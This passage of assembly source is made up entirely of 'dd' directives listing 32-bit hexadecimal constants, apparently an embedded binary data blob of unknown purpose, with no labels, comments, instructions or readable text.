dd 9F465A02h, 0F9692C12h, 0B5C838CBh, 0BBEA24C0h, 141B02D6h
dd 16AC6BABh, 0C0BB858h, 7147133Bh, 19AC2640h, 795E0887h
dd 0F8C24A9Ch, 80540928h, 0A0D9E70Fh, 1DD7B025h, 13DCEACFh
dd 0F2F1836Eh, 0E5FB007Ch, 274D9E15h, 211B0032h, 0CA5844AEh
dd 4C24A561h, 0EB0EAC4Bh, 56E82177h, 38424A6Dh, 8044D6C1h
dd 40066FD8h, 0BC00612Ah, 59699720h, 4AEDF23Bh, 445042C9h
dd 4CF4072Ah, 89257C1Eh, 44184F24h, 1002C772h, 6B600691h
dd 0FCC86C5Bh, 0DFB700DBh, 5C0B2C37h, 7B0B2A35h, 5027383Eh
dd 0D837BD44h, 0D4E0D417h, 9C53277Eh, 945E64C2h, 5C5A4B82h
dd 639848B7h, 95C9608h, 420094Eh, 0D97374F1h, 0BF5F6812h
dd 9B00F856h, 4D4159CEh, 0D6311C1Fh, 4EA7435Dh, 0CDC8B40Fh
dd 0CCB0E879h, 1229F444h, 0C0E4AC3Ah, 0B4946BC0h, 308ACB80h
dd 3A80CFD8h, 7100F33Bh, 4CC9D7B2h, 25146B46h, 580098A1h
dd 0BF1F1A28h, 0E817B727h, 3D2BE390h, 11E8C15Ah, 820501D8h
dd 0E24FCD53h, 20EAB8E9h, 858846B8h, 53124B6Fh, 47004920h
dd 0F4437420h, 98048627h, 0F1DD4CDBh, 87040BAh, 0CDEC1C67h
dd 44D2D025h, 3BA1E90h, 0DC1B091Fh, 52AC1C04h, 0B0A4C8h
dd 30BF4C14h, 0E8D29ED8h, 0EAC9A607h, 28CFEC6Ah, 1C9DB3h
dd 0E0095582h, 7A048CF1h, 0EC52C47Dh, 6B3A1CD0h, 9070506Dh
dd 15DA01BEh, 23DCDFB4h, 38203C2Bh, 540172C9h, 154021D0h
dd 0A3C0D216h, 917E03A7h, 0CDBB43CFh, 0C2C54006h, 5825DCh
dd 9ED22D94h, 0C70C01B7h, 808B044Bh, 3157B7C4h, 0EAD8833Eh
dd 0E83B2CB0h, 0AA6043A4h, 0C0829FB9h, 6E03AEE7h, 6F54CA01h
dd 6D69F85Dh, 9E9CA002h, 3892B78Ch, 4E6260E5h, 75A718DEh
dd 0A9BCAF09h, 0E45045E6h, 73BC60BBh, 0D8620031h, 0E65F9B52h
dd 0F4A4EAB4h, 3E4820BFh, 4CC90662h, 44222CC7h, 0C5E855F8h
dd 3CE69600h, 2DFD14FFh, 8C722DA9h, 90E2284Dh, 1AD511E1h
dd 109220D0h, 7780204Ah, 50020621h, 0F8DB9329h, 0C218B8D1h
dd 0CB917803h, 4B8CB571h, 0B2E088C0h, 805F633Ch, 0C0AFF9ACh
dd 27CC497h, 9C79D174h, 34C2EBE2h, 90DEF81Ah, 416105D4h
dd 0ED9FD5F9h, 4A0F07F4h, 0D3B09806h, 2A6E395h, 303E5048h
dd 0C087349Bh, 4C5A917Dh, 0BE8C40E5h, 454FD053h, 8924F0D2h
dd 88D09D98h, 0B060DE45h, 9D109B3h, 0CED3BB3Ah, 0AA1DDD00h
dd 0A4003048h, 0A66121C7h, 98D9F77Ah, 0D5B92D24h, 60048CB7h
dd 0D84042F6h, 9B395336h, 0FF1E8A00h, 89D02E32h, 37B717A0h
dd 0AE1C004Ch, 0BDBEC467h, 503CE881h, 0DB472413h, 81208F80h
dd 6481C21Eh, 0D91CE2DEh, 56E578DCh, 0B88C1C86h, 3054D460h
dd 42EE9700h, 0C4C63CE3h, 0EAAAB00h, 7CEF1BF0h, 0E51E1ABBh
dd 34C0D858h, 0BD970531h, 352700C8h, 3E3C5CF8h, 5447282Eh
dd 8CE36981h, 0D478D37Fh, 18C35BCh, 2B29281Ah, 0F5C2391Eh
dd 38B8D051h, 9C637CB6h, 33090196h, 2BDE32D2h, 5AF063F3h
dd 4383EC9Bh, 0E2CB559Dh, 0BC69400Bh, 824C01Ah, 14B74AC8h
dd 861004ECh, 9C2384Fh, 0FBBCA626h, 2ACAD018h, 0CF3C3A10h
dd 0C821A001h, 28E9105Ah, 38530844h, 0D10A98BBh, 0BA04E1DDh
dd 4154F62Bh, 52DA50E1h, 86752408h, 98FB18DAh, 7A4ADC67h
dd 60C11487h, 2E0357A3h, 0ACED3909h, 1D32C21Eh, 81AE119Ch
dd 0C6EB69C1h, 27341CE4h, 6CF28C3Bh, 843C3225h, 0FCA45D24h
dd 0F45E262h, 0D071BB20h, 0E6ABD5C0h, 5A008CB7h, 40782576h
dd 0EE0535E5h, 0DE423186h, 29AFEDD9h, 60C40428h, 21AA2187h
dd 0A44B226Ch, 4674C429h, 0C35B00BAh, 0D3936159h, 5F6702D6h
dd 0F301451h, 0B1079040h, 40295D3Ah, 0D6A0B468h, 0EA031372h
dd 0AE05FFB5h, 5D5F315h, 0C98AEF21h, 5324C426h, 0E8F8E8BCh
dd 249E9545h, 0B87B6402h, 7D56EECFh, 0A8FAF4B0h, 0C7E68B0Eh
dd 5A7B676Ah, 0D6ED8600h, 9381C406h, 1053FE53h, 3D913801h
dd 5452E896h, 7C6CFE45h, 1D004F46h, 0D5ED9A18h, 0B4136B3Ch
dd 0D8CE8286h, 20C9B4C8h, 8D447BF9h, 0D04D06EAh, 70DCA0ACh
dd 0FA6AD912h, 89B854E9h, 3772639h, 9193BB4Eh, 433AD0E1h
dd 7044480Ch, 0A3CCFC01h, 80D9D2EDh, 0DD64C459h, 4CB07EDCh
dd 5CB8ACE9h, 1966C500h, 6469E026h, 4938006Fh, 4C5743A5h
dd 0B000B278h, 2E63EE1Dh, 327EF91h, 6DEBA3E0h, 10A66419h
dd 0C3594900h, 7C5E0382h, 2FE41DE5h, 21901862h, 0C33F61ABh
dd 190209FFh, 0D70FE1h, 1BC05BA9h, 6F47881h, 3D2E0B5h
dd 7002102h, 954F2584h, 1DEFC06Ch, 3046A4A8h, 0CC5AEBA9h
dd 0A33A2703h, 0D8C786ACh, 5D1E1h, 7D1E9F57h, 0A5586F47h
dd 9D498900h, 8196181Bh, 0E0B614F9h, 878034D7h, 94954C25h
dd 1322C143h, 27CF5900h, 0C6E3771h, 19106005h, 0CA4DB762h
dd 83E17000h, 0C1A32F7Dh, 236E3FB2h, 1194F968h, 0C3568054h
dd 0F586038Dh, 0A0884D0Ch, 0CAC3005Eh, 196578D5h, 0DF3CD8D0h
dd 9B4D0158h, 6AEBBE3Bh, 84C2848h, 0F60387C3h, 0A24095C4h
dd 1D8BC354h, 0F11C100h, 18E72598h, 28890A67h, 81E882CAh
dd 38640B69h, 832A88Eh, 220C6A49h, 6C310017h, 0CB185938h
dd 0C0007B7Eh, 84033612h, 0A5BD1ACFh, 6191644Ch, 0E8FBC573h
dd 1C11E81h, 259AD69Dh, 0BE666411h, 7A750329h, 0B5A39949h
dd 0E696D840h, 0C0180515h, 1DD39411h, 0B0189822h, 91B12B3Dh
dd 7E410056h, 49C8D7C1h, 1C1F97DEh, 0AD49A514h, 0E4080148h
dd 0F1C05EF7h, 89A80C67h, 2E18922Dh, 971C40A0h, 0E5063B77h
dd 7B49A9ECh, 178E0320h, 67F02705h, 0E78928F8h, 10114E35h
dd 65934000h, 0C0FB385Bh, 0D2C027A0h, 8E0650B0h, 76020FA0h
dd 6ADE3709h, 0B0DAB020h, 8902C74Ah, 23651A8Fh, 8ACCA0F1h
dd 9EB450h, 97558044h, 1CFE360Dh, 0F909A901h, 61222599h
dd 8C6E0C20h, 83C35802h, 167C5603h, 0C360A600h, 0ED629EDh
dd 1C6600C0h, 4AAF2EC1h, 466C7B37h, 0FBB51681h, 8001CC55h
dd 4E9189ABh, 74728445h
dd 0C3533077h, 2E1DC808h, 544E6462h, 0F3C338FDh, 1103BF90h
dd 1968B32Ah, 28210061h, 0CFD44D80h, 8A077554h, 0FE37BBFFh
dd 92C3A850h, 0B0555665h, 0A2B08807h, 0C2C43889h, 0DED0BE47h
dd 10DDECE3h, 6F37FDF8h, 2B08F502h, 0E2F40302h, 401CA3B8h
dd 39A9B8Ch, 0D0329FE0h, 6900F735h, 80361F3h, 0E8F6FA77h
dd 74FD488Ah, 0E1F13E01h, 22BE497Bh, 3090F2F8h, 5376E273h
dd 2E24CFE8h, 42024817h, 90E9ACh, 37D37E96h, 0EAD27814h
dd 1E39DB8h, 1C99C352h, 97F85866h, 35AA488h, 73247DC3h
dd 0D140FF85h, 48C61A4h, 8E66B08Ch, 14F563D0h, 0B4D4BA21h
dd 16F77306h, 82ECA861h, 8564310Ah, 3904A79Bh, 4C80F321h
dd 26981E05h, 8798CCA5h, 0B4337CB9h, 2FDC9114h, 0EAF0EBA1h
dd 0C53CC939h, 0EE2A8247h, 0AA576412h, 465C6C74h, 6D6A004Dh
dd 8548BBBDh, 7E8C038Fh, 0E1713903h, 8A019804h, 0A4852943h
dd 97235C3Ah, 3DD16500h, 0C9FF559Bh, 0A8848E49h, 3BA060CEh
dd 0B4A2108Ah, 9E1EC8C4h, 0D4384065h, 4A72367Bh, 208161C6h
dd 11800021h, 410FA1B8h, 8D7146C7h, 4AEE88B0h, 0CB9C8800h
dd 7D2F89C8h, 4CC4A01Ch, 238017Bh, 76AD33ABh, 9A488523h
dd 0B84717A5h, 0BAF47580h, 0BD3CA481h, 0CBB8A9B2h, 8386530h
dd 0C56CA28Dh, 30401564h, 61BA386Dh, 1F898D1Fh, 0A0400D93h
dd 0A11D80E8h, 0B4F55069h, 650616A6h, 165C1F4Ah, 0D9BC08D2h
dd 5227C9C0h, 46A42195h, 67001091h, 0C8C227B1h, 0BD039CA0h
dd 0F6E73C6Dh, 1A700675h, 0C0484933h, 6B2DB546h, 0BC8A915Ah
dd 2E0770CEh, 5A453853h, 7D947FE1h, 21D81F4h, 1E91C9B0h
dd 20E353AAh, 2F71A180h, 18106159h, 1CB81FDBh, 0A0814883h
dd 8DC35AC8h, 0D88ED1B0h, 68400C18h, 0B0D500B1h, 0E410A94h
dd 98546011h, 850089FCh, 0F9FC3E9Dh, 0EC8B70C2h, 0D3910F29h
dd 9BE999A2h, 69840481h, 6448CAA5h, 0C0997211h, 0C9491C1Eh
dd 89D4A4DAh, 506A6888h, 0F0B41835h, 7BC0ACDBh, 95583E83h
dd 2B22C6h, 0D27CB5Dh, 65E7BE82h, 4A114009h, 0BDA0222Dh
dd 0FC972937h, 5F804D11h, 0BB1CF776h, 0F30B8904h, 58903C88h
dd 0AC2F69h, 52DC189Eh, 0EEAB0743h, 395B421Dh, 0C66A5C01h
dd 894035F6h, 26D3A8F0h, 74642DBFh, 64910D90h, 0D0CFC180h
dd 24D81585h, 251F18h, 11EE991Eh, 3F142594h, 88F46C74h
dd 0B08FC060h, 88468E6Bh, 0BB010A22h, 0E37EB0D7h, 0D9801D23h
dd 0E924F7D1h, 19E06614h, 3CFE4Ch, 0D3493935h, 139599F1h
dd 0B22EB75h, 48103C28h, 0E300B79Dh, 0BE86CF7Ch, 129BC3BDh
dd 57EE3D31h, 0D09C0878h, 592582C0h, 0C19C2195h, 44002F91h
dd 568927CAh, 3A329236h, 4137D2BAh, 9E18D4D0h, 95552608h
dd 402CC4BCh, 4B268668h, 748300BFh, 8BDA55F2h, 813E5396h
dd 0CEC1E03Ch, 2C776Fh, 0D261E515h, 0E6895B23h, 27B5AC1Eh
dd 7C002896h, 6591516Ch, 0CC234C53h, 4DC06988h, 0FD0386C3h
dd 104819EAh, 48C355A7h, 5C00471Ch, 623DDB74h, 0AD00B83Ah
dd 25BAC580h, 487C32C1h, 1F090C68h, 0EC021671h, 0F840789Bh
dd 0F4A7B703h, 0C1610944h, 64AEF8E3h, 372B9F0Ch, 221C48CAh
dd 2AEAE49Eh, 18D43235h, 3381330Eh, 386F5830h, 5CA210B3h
dd 8018C8C5h, 8A38772Ah, 0D2009516h, 0E65E739Fh, 0ECA6D02h
dd 99A6EBD1h, 18230681h, 0F18C7293h, 1D0C6809h, 931C150Bh
dd 42EC00DAh, 1367F02Ch, 0FE5C070h, 0ED803A80h, 6E26BA9Bh
dd 7178AB12h, 73C844CBh, 0F0D5CFC3h, 439B8F9h, 0F32D95E1h
dd 4024C9BAh, 0B19E7C64h, 84D4F058h, 1E011673h, 34FFCDC1h
dd 0C484717Ch, 0F73918h, 3F0C4D9Bh, 0D9ECB113h, 10E1873h
dd 7E50984Ah, 4835920Bh, 3760EF94h, 1E7DE642h, 65731DCDh
dd 980B0C3Eh, 0BCB248A8h, 1271E771h, 0D3C9A0A3h, 3FC442FDh
dd 8D279848h, 7A2606EEh, 0B4133005h, 5BC0789Ah, 0F454D44Eh
dd 70147F70h, 1330821Ch, 1C271AF7h, 83FB9DC2h, 0C1ECF20Ch
dd 87E2D72Dh, 90BB59B8h, 81F1BB10h, 0F21062B5h, 29403010h
dd 55665C09h, 7C7901ABh, 0A430F6B8h, 0CCFA5075h, 500BFC95h
dd 30E4E427h, 607128D0h, 81EF7F7Ah, 37D89E18h, 0FC753965h
dd 0B8A72C33h, 0D91D66C0h, 92960268h, 4CAC170h, 9AE18C40h
dd 4C446F3Ah, 8C10F898h, 0F04F7D00h, 9E882577h, 0EDEC042Bh
dd 0B3EA2A29h, 3095B280h, 34A8B04h, 54A38840h, 5998B7h
dd 8D55014Ah, 46782AF7h, 141AF415h, 0C00226ECh, 5A62840h
dd 748700F7h, 50CCF956h, 40004166h, 0EE16F899h, 4A3E4691h
dd 0D9C80155h, 21D1D665h, 0E4540090h, 7B06AFCCh, 823F20A5h
dd 0DCB09419h, 9E84CE03h, 0FF4C7C39h, 656760AEh, 0B8C3FD36h
dd 93C00E4Ch, 11782FFh, 0B3E61E4h, 4489AE66h, 6E80B011h
dd 44A28C38h, 2B14448Ch, 57387600h, 6EB74A8Bh, 0E9E1179Dh
dd 44941F61h, 0C002EC45h, 39C84C0h, 582EBD5Ah, 0C1014D23h
dd 0F4175120h, 86BCC0h, 0CA6A87F0h, 0C27430E0h, 712CE448h
dd 0C4A0A586h, 6C196114h, 74754060h, 52A0077h, 956987E8h
dd 789AFDD5h, 667321h, 8ACAB77Dh, 6207C285h, 91AB3D81h
dd 54E25B84h, 780D1400h, 6DBF5233h, 0E400F17Eh, 0C59D3CCDh
dd 1573B8F4h, 0F08E096Ah, 39F22018h, 0AFF8A460h, 79972900h
dd 3BD0C2B1h, 9D183028h, 8D65DB81h, 9A4F2C01h, 9548F3E9h
dd 403FF020h, 5018A21h, 9E7A2957h, 503CE4D1h, 97B8E8D4h
dd 6DC00A8Eh, 21C7D37h, 0F145A11Ch, 1F2D2C68h, 139A2440h
dd 0CB92D035h, 0C0C388BCh, 0D763CC80h, 613BF214h, 147B4CACh
dd 0D2EC1A39h, 29C85C8Ah, 0D17D88C0h, 0DDB31E1Fh, 0B497A518h
dd 27961491h, 3D7702FCh, 6170D873h, 22E7108Eh, 0EE48121Eh
dd 300F06Fh, 709BF005h, 7401214Eh, 0C11C1E77h, 3E01DAF5h
dd 0DA51A6FEh, 0BA63FC02h, 9A8E0B9h, 0EE1E8068h, 0D794300h
dd 0B54690C8h, 474D038Bh, 62161DB1h, 29AAE1F8h, 0EC09A0B0h
dd 46AB589h, 9CC819E8h, 0CB4C0082h, 0C37CBE09h, 0C0001CC7h
dd 6DEC3637h, 5E29BCEh, 5B6A0DDCh, 8F7482BFh, 0A720DCD3h
dd 0DC202C5Ah, 431952F7h, 0E82B4AF1h, 0C269F510h, 67BA0410h
dd 60194460h, 0AD4B21h, 4FF0C96Ch, 0B79F2F4h, 709A960Bh
dd 0D9CC1A3Fh, 18265958h, 78DB70A6h, 5EAE0DEh, 0E5E1A531h
dd 70840F63h, 48881F00h, 8D2EC11Dh, 84146409h, 0F8004CE0h
dd 38008CCDh, 33F28E8Ah, 1A9F9D7h, 0AB2573F0h, 844429C1h
dd 0EE3C3678h, 2588A88Eh, 0BE31ABC0h, 90671CCh, 0DD710362h
dd 2FB81440h, 0D8020524h, 0F860AD43h, 6EF69Ch, 0B14B0C12h
dd 9994ED20h, 84886260h, 0E695D37Dh, 4F209A6Fh, 0E06ED1h
dd 71BA67E7h, 208483Ah, 9E1F52D0h, 1C7164F2h, 0FD60B4DBh
dd 0A872891Ch, 0B07F0130h, 9EA6F1D0h, 6851244h, 89275373h
dd 1DC2894h, 73D2B35h, 0CC4421F2h, 3006A887h, 28AAE5F9h
dd 405E46B8h, 0B8E6A1FDh, 0A5C21099h, 0B51040D1h, 17040055h
dd 0EF5F143h, 66002E0Ah, 0A87296F3h, 150DA3D8h, 9062981Fh
dd 0EC017058h, 74337CBAh, 0A1A864DCh, 0F0C2FCA8h, 292FFD02h
dd 0F0E517E7h, 23990B0h, 8B108DE2h, 90A04DC5h, 0EABDAC27h
dd 35B9302h, 60EF8F6Ah, 9EBFA800h, 0D0988FDCh, 142E93B0h
dd 0D11CC223h, 0A1C88ACEh, 32AF8455h, 0BC1E23FCh, 45C1421Ch
dd 40247002h, 809A75B8h, 262DF1D8h, 0C3940015h, 0BE880C73h
dd 13465CC0h, 8360C100h
dd 821CF7EDh, 73C1FA60h, 9215096Eh, 0F0B0080h, 0D4C80626h
dd 0C21CBCD1h, 9D892171h, 0EFD481DBh, 2460A15Dh, 47F288FDh
dd 0B049BD00h, 0ED4D2439h, 0E0070F7Ah, 0F126030Ah, 0A13F38D7h
dd 1788AD73h, 801211B8h, 1CE3F27Eh, 9882482Bh, 0D1AE5901h
dd 51CEC8F1h, 32C16A8Ch, 613110F8h, 42E0F70Dh, 0C9884169h
dd 0E7E40049h, 809D8A5Eh, 88811E11h, 2D55274Fh, 0D42F5F88h
dd 0C8004C23h, 0A5695093h, 3D34B397h, 70186BDAh, 0C1035F13h
dd 0A0B62C90h, 0BD3626E7h, 0F7268174h, 8128ABE5h, 0A9C170C8h
dd 702D1B7Ch, 9640F33Eh, 10832D13h, 956A6C05h, 0F83F200Ah
dd 0A0885C40h, 32B887h, 0BC4090A7h, 9D311CE9h, 6437AB09h
dd 716C621Fh, 189579C4h, 0A1031FE1h, 0F479F2F5h, 2F0E5B20h
dd 98C4872h, 0BB5DB300h, 0CE9E9F7Bh, 0B1FE170Eh, 725E80AFh
dd 0AA52711Fh, 38B7F0h, 98721870h, 37278105h, 3918907Eh
dd 0B00E501Dh, 0E49F0169h, 8AE73E04h, 4C452E33h, 18217D12h
dd 1000ADDh, 0E57B2916h, 0C0D42A28h, 9F463521h, 9E09A085h
dd 942A32Dh, 823C012Ch, 0E900675Ch, 30FFA519h, 0C11BA864h
dd 17409C05h, 0D31A01F0h, 190789FCh, 446F6B3Ch, 5C03A032h
dd 0E8C98E48h, 5E96F860h, 63007FC8h, 8FD1707Dh, 34AA5B6h
dd 114ED5DAh, 0D65C4D9Fh, 1C2A4CCCh, 0D640EA10h, 0B81FF337h
dd 0E0540027h, 0BF66B1DFh, 5B0190B6h, 311E9D84h, 1880A8B2h
dd 7B4EE91Bh, 5248CEAh, 0A2417097h, 805091A9h, 0D07EE772h
dd 0CF23D8C1h, 623BA10Fh, 19C54CA2h, 38302F1Fh, 339CBAFEh
dd 2A504C55h, 26C85A9Bh, 0B8048F34h, 38F2C9A1h, 0A4A90CA0h
dd 549358BCh, 684309BCh, 0FBD31F02h, 0BCB215C8h, 1DC8856h
dd 6BE3B227h, 0EE576535h, 8C04FC62h, 0E8461660h, 4A1F1DEh
dd 8B48DBE0h, 8474D011h, 84B92D21h, 60DB2712h, 0C4034C89h
dd 40B823CBh, 1498E62Bh, 58D46A70h, 97A11034h, 0CF92AC95h
dd 0A04380B8h, 793F6447h, 0A46E00C7h, 0CB5B5C3Eh, 0A1014D5Dh
dd 0C490672h, 11805F81h, 12E86B38h, 450CCDF2h, 885EA57h
dd 204C6035h, 3CE89323h, 0FB3FA500h, 3018D9A8h, 0EB5B03A7h
dd 642D71BFh, 4D5872F0h, 0A02E4100h, 3CFDDA6Eh, 1D221D48h
dd 7356083Dh, 0A0266600h, 1DEE872h, 606EE161h, 0E05B5D5Fh
dd 9CB0F6E5h, 0FA0F6200h, 9C376DDBh, 77D5005Ch, 0B6E8157Fh
dd 690C6512h, 506C3A47h, 6F8B0FA1h, 0C03FFF97h, 0FC51BCB3h
dd 52009E3Bh, 0B8180A36h, 0A2CAC0h, 55B2ABA3h, 399D5905h
dd 40C05774h, 0A073152h, 281C0CE4h, 6509F1A5h, 293261C0h
dd 3E3B2207h, 4E008AA4h, 1193D10Eh, 0E3000C6Ch, 0FA9A95DEh
dd 1C6A6282h, 475D1C22h, 0A019AF8Ch, 49812BA1h, 2D58A4A0h
dd 0F7961000h, 5D3D0DE2h, 37653ACAh, 88213330h, 82009618h
dd 61DAC2C3h, 55847795h, 80EAD46Bh, 92CE1CA5h, 91240768h
dd 0AE143945h, 59037EE0h, 0C200E46Dh, 0DEC110F3h, 0A14B72CDh
dd 0E0DC6AA8h, 5161398Dh, 0A5E12900h, 2F949B36h, 0C9163D07h
dd 0B240E733h, 0F2EE57FCh, 0A938DC48h, 18305960h, 36980069h
dd 1A84994Dh, 64242EBEh, 9B87004Fh, 5C07C03h, 140C037h
dd 0EC1845F4h, 0EFF5D7CEh, 0F7D38298h, 0A8F0348h, 0F85F36DEh
dd 0CE0DA0Fh, 64A4C05Ch, 824D714Ah, 35302E40h, 0DA6F08A0h
dd 55643D25h, 0A02D6740h, 1C489CCCh, 62029F88h, 406B88CEh
dd 12996444h, 429D255Ch, 9B590400h, 0F704184Ch, 2CE41008h
dd 0E72E7362h, 0DED4072Fh, 0F893E5C1h, 0CEC09DF9h, 0C0A46AB5h
dd 0C77934BDh, 90DA97BBh, 71A5EC06h, 0CF954003h, 485A3A33h
dd 0FC075771h, 6F79FA8Eh, 26108C15h, 2F804027h, 0A034048Ch
dd 622DDA70h, 2C68204Fh, 0D203BBA0h, 0ED6F03B1h, 2BCAA05Dh
dd 1DE18D1h, 0C1F62958h, 5BA6A20Eh, 26720014h, 7D23415Dh
dd 5E670050h, 0F9E7DBB1h, 2C9BD104h, 6D801611h, 7DF1F8E8h
dd 2171608Ch, 1CE8951Dh, 190C2798h, 0C80C6B93h, 17980989h
dd 3C10E082h, 0E84C036Ch, 24BEDC10h, 0EC04C25h, 21E2F596h
dd 599135BDh, 96168600h, 0B5A304B7h, 481FED3Ch, 0EC942B98h
dd 508FC00h, 86A5D4E4h, 1F7044h, 0F9840734h, 0DC039580h
dd 8120693Ah, 76E06CF4h, 2020653Ch, 482900A0h, 1BFC34BAh
dd 0E94CF713h, 0B3821D1Ch, 0CDD9F3C1h, 7434435Eh, 882C149Eh
dd 0A040E44Bh, 94048C11h, 85F229E8h, 9C001838h, 97DB74E8h
dd 99BF3E9h, 0BA8D529h, 67901003h, 95E49006h, 777042BAh
dd 9C81009Dh, 5CD9F54Ah, 0CD12F829h, 4C1E2835h, 3B96D704h
dd 0AC3A2C85h, 6B005023h, 8777E8B6h, 0F33E1C56h, 904468DEh
dd 29746BCh, 0E40408FBh, 66B8B10Ch, 7332010h, 39854116h
dd 88254440h, 3CD749A0h, 0CF81E730h, 0DF0DF1ACh, 791B30E0h
dd 2372F0A1h, 9823DCh, 0E41108F8h, 8085A5F4h, 5707301Bh
dd 6504E86Ch, 0DA2C9108h, 0F40014DDh, 995C48ECh, 0D944BC14h
dd 0F516DD16h, 0E0F80418h, 4B5C452Ah, 0C9658834h, 46D00B03h
dd 42787950h, 9609028Ch, 3765E130h, 8D102E19h, 87009611h
dd 97493ACh, 0DA626FBh, 0D0E02DEAh, 9F8056Ah, 0AB0234FCh
dd 8847874Ch, 8E606D44h, 1E00B13Fh, 0D820814Bh, 2A6B6C26h
dd 90AC5BE2h, 434920DCh, 3B236006h, 0C8408F1Ah, 2C09A70h
dd 24E40B08h, 58082824h, 707FA31h, 7FA9DEDBh, 88602C85h
dd 10F6960Fh, 0C83D15E2h, 178B8054h, 0A6F49896h, 46885116h
dd 30322062h, 6B119FF9h, 568805DAh, 0A02F1B80h, 77970A7Eh
dd 5E47F0Fh, 0E712339Bh, 234C2ED7h, 7B90033h, 0AF0686E4h
dd 0DDE92A04h, 0D8855912h, 16F3849h, 0DE6C43A0h, 55DA5C40h
dd 7637093Dh, 3412348Ch, 31448C47h, 0E2481260h, 4D0BE803h
dd 99B19D60h, 0DC23646Eh, 60305864h, 23FA9603h, 5711B5E2h
dd 960B8700h, 0E81A4D14h, 3911DD00h, 6E426267h, 0B04B6004h
dd 364698DCh, 0DA95DF09h, 0D950AD4Eh, 80FE9C61h, 70B19FDh
dd 0D174B149h, 0AC184Eh, 0E7553187h, 81C6DD33h, 9B043570h
dd 6679845Fh, 2F9EEC90h, 0E46100F7h, 498BC622h, 0FAE8E124h
dd 74CB4C0Ch, 1B035h, 6BBC14EAh, 70B6C519h, 0DE476807h
dd 58B3B0B8h, 0BA82661h, 0E86EC0E0h, 7546F1F7h, 4C4210h
dd 0CE89622h, 0EC5CE011h, 2D4B5827h, 70B8505Ch, 0CAC058Ch
dd 40610108h, 482C8780h, 500B435h, 0EFA413DBh, 194CAF2h
dd 1F11EAD2h, 5C9212h, 7324B58h, 28B1CD65h, 0CEC9F009h
dd 230F8377h, 0EADD72E6h, 206D055h, 4C98596Eh, 2D80B439h
dd 86E7FEEAh, 5C476F2Eh, 76E69A60h, 0F14C0052h, 8EDEB911h
dd 30246ECBh, 0C30C2C59h, 13672863h, 3EA2D7E2h, 562374h
dd 1BE4E1FDh, 5004C4B3h, 5C8EE5DAh, 0AACEA093h, 0F2E08141h
dd 698E4A7Fh, 52A02267h, 6BB460EAh, 71E3C613h, 30F90822h
dd 0DAECA02Ah, 4B221D46h, 0E2A06AA0h, 0E044D202h, 8C8D4F0Eh
dd 0EDDCD884h, 300DA9ACh, 0D2241631h, 66B5F700h, 4BE80EA9h
dd 0E0670272h, 8002FB8Bh, 5091449Dh, 0E62B17C0h, 0F90030C7h
dd 3827049Bh, 0B35B598Fh, 5CF4248Ch, 2E016F46h, 3A8B405Ah
dd 4399735h, 0A400A06Eh, 22E3B10Dh, 3174EAC2h, 4E8FAA12h
dd 0ADC6EC83h, 0D064A052h, 4FB230B2h, 1C02F430h, 1D9081F5h
dd 0DD0C80B7h, 0A2AEE608h, 48703A5Ch, 8C4FE8FCh, 941F9F74h
dd 5E018C98h, 5FDC5CF9h, 0F8088054h, 94CD8049h, 0E45C09C5h
dd 28E98A07h, 4D7257A4h
dd 913C95C0h, 0D7258049h, 708C45DAh, 0F0E52436h, 4E467410h
dd 0AAF55705h, 3EB28137h, 70BCF108h, 2C174ED1h, 680C5C97h
dd 985D131h, 689AD75Bh, 0CDA87480h, 0D4A06241h, 212A5CE9h
dd 794AEC67h, 54164840h, 768A73Ch, 0E45D7476h, 5CDA9399h
dd 47C42140h, 7FE93213h, 0A9C38C9Ah, 0AEE023FDh, 41058927h
dd 59E30EE8h, 8404E801h, 442C4597h, 4C4335ECh, 3D82303Ah
dd 2492F5FCh, 1CE97B60h, 0CCB4B313h, 82490F1Ch, 8010B77Ah
dd 0F9C8FA7Dh, 9814E06Eh, 7BA453C9h, 0E8707B48h, 3E028C4Bh
dd 0B76C2D5Eh, 9618C189h, 809F618h, 4504E40Fh, 2E1580ACh
dd 0E794B107h, 6E030E14h, 646F24F0h, 0F49C2Eh, 0A09B237Ah
dd 0E9D0E7F6h, 0D3821200h, 9FDE04F8h, 79EC997Fh, 3A661833h
dd 9B00BC0Dh, 0CDE3A6F6h, 0A804E46h, 0F256263Ah, 0C06A1818h
dd 6D2598DAh, 0F46C0032h, 0B9AFF87h, 0B13E6CA3h, 5511CC9Dh
dd 5C496680h, 0D815AAC7h, 88613Ah, 234F577Ch, 259C2868h
dd 10A08117h, 3C2E04BBh, 3090A248h, 6BF83159h, 310F123Ah
dd 237C3AF0h, 5C0A0059h, 0B75B8A6Ch, 0E781649h, 0D899D5A2h
dd 42FE0F1h, 0F322ED73h, 0A290E382h, 4F03356h, 0D30E0DBh
dd 2BCA592Eh, 0B9CC1705h, 959C0FA1h, 0C8087FE6h, 4022F46h
dd 0ADE2FB96h, 84003094h, 74B8960Ch, 1657D054h, 9079AF66h
dd 0D2581A6Ch, 36F46700h, 2F0C4F3Fh, 7CC8024Eh, 0E4833AA9h
dd 0F00D852h, 6BCEA462h, 0E9FF04h, 14EFA703h, 97DC5469h
dd 65C1CB2h, 436DBCC4h, 6B7B0D4Dh, 54F069E0h, 7FB029D1h
dd 183279A4h, 255A1764h, 0F87E144Fh, 12379D10h, 0E8C84397h
dd 0A048C41h, 1DE20196h, 8A07048Eh, 0B9719612h, 0CC424468h
dd 835A3Dh, 160A33E4h, 0A82195h, 0A72ED1C7h, 0EE0B2064h
dd 0DD208C90h, 0E0FC0146h, 29FDF29h, 0F3498054h, 1CC252EFh
dd 94400026h, 0F8DFB32h, 0A909A534h, 9704A601h, 806E9130h
dd 1B1A63E7h, 0F4D8F54Fh, 0CDE41D14h, 5E0E4CAh, 0E27C2C67h
dd 4D6DF144h, 4716910Ch, 806EC014h, 0A1F52400h, 13672A64h
dd 225CE802h, 737288DEh, 0EF947004h, 7A0B8C90h, 90E482C3h
dd 337E05Ch, 0D95CB13Fh, 0C0466A21h, 297CF0A4h, 0E3EFAB7h
dd 0F1D68E1Eh, 2F01EA0Fh, 3C44A258h, 8C31F810h, 787EA5E8h
dd 8B0FC100h, 0A29D6D89h, 3ACD20EDh, 0E2C8FB00h, 0F0F9E771h
dd 0C76B15A9h, 0A059905Ah, 0B900CABCh, 0AE923FF0h, 2189C25h
dd 0E302D503h, 48C0B4DDh, 2B807237h, 5448BA9Dh, 125788E2h
dd 145F22EEh, 0A2CF8420h, 674BF883h, 0DAC10DD8h, 0AE1EF200h
dd 4CCC195Ch, 0AF2501EFh, 81C648F5h, 0F00B10A5h, 98C00165h
dd 0F295DE10h, 40588544h, 54A203E8h, 663065E2h, 3815188Ah
